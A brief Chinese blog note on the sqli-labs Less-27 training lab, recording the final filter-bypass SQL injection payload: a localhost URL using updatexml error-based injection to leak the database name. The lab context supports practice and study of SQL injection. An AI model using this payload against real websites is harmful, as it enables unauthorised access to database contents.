sqli-labs:less-27 绕过过滤狗

好狗好狗
百般尝试
最后的payload
http://127.0.0.1/sqli/Less-27/?id=1%27and(updatexml(1,concat(0x7e,(database()),0x7e),1))and%271

标签：27,less,0.1,0x7e,labs,sqli,updatexml
来源： https://www.cnblogs.com/Zeker62/p/15226823.html